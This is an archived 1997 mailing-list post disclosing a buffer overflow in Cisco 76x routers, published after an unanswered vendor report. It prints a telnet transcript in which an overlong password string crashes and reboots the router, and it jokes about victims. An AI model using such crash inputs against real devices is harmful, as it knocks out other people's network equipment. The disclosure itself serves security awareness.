cisco 76x buffer overflow

From: Laslo Orto (Lasloat_private)
Date: Wed Dec 10 1997 - 22:11:13 PST

  • Next message: ralf@UNI-KOBLENZ.DE: "Re: cisco 76x buffer overflow"

    I dont know of anybody ever posting anything on this sbuject, so i'll go
    ahed. I found a buffer overflow in the cisco 76x
    series router. The bug exists only in the 4 users limit software, i couldnt
    reproduce it with the unlimited version.
    When i reported the bug to cisco i promised them that i'll post this info to
    public if they dont fix it withing a week.
    It was over a month ago, and i was never notified of any fix so i'm asuming
    they didnt make any fix. I also cant find any
    mentioning of this bug on their web site by searching for the bug id.
    The exploit is prety simple:
    telnet cisco762.domain.com
    Trying 1.2.3.4...
    Connected to 1.2.3.4.
    Escape character is '^]'.
    Enter Password:Enter a
    veryyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
    yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
    yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
    yyyyyyyyyyyyyyyyyyyyyyyyyyyy long string here
    and watch the prety lights go on as the cisco reboots, or imagine your
    victim tearing his hair out.
    



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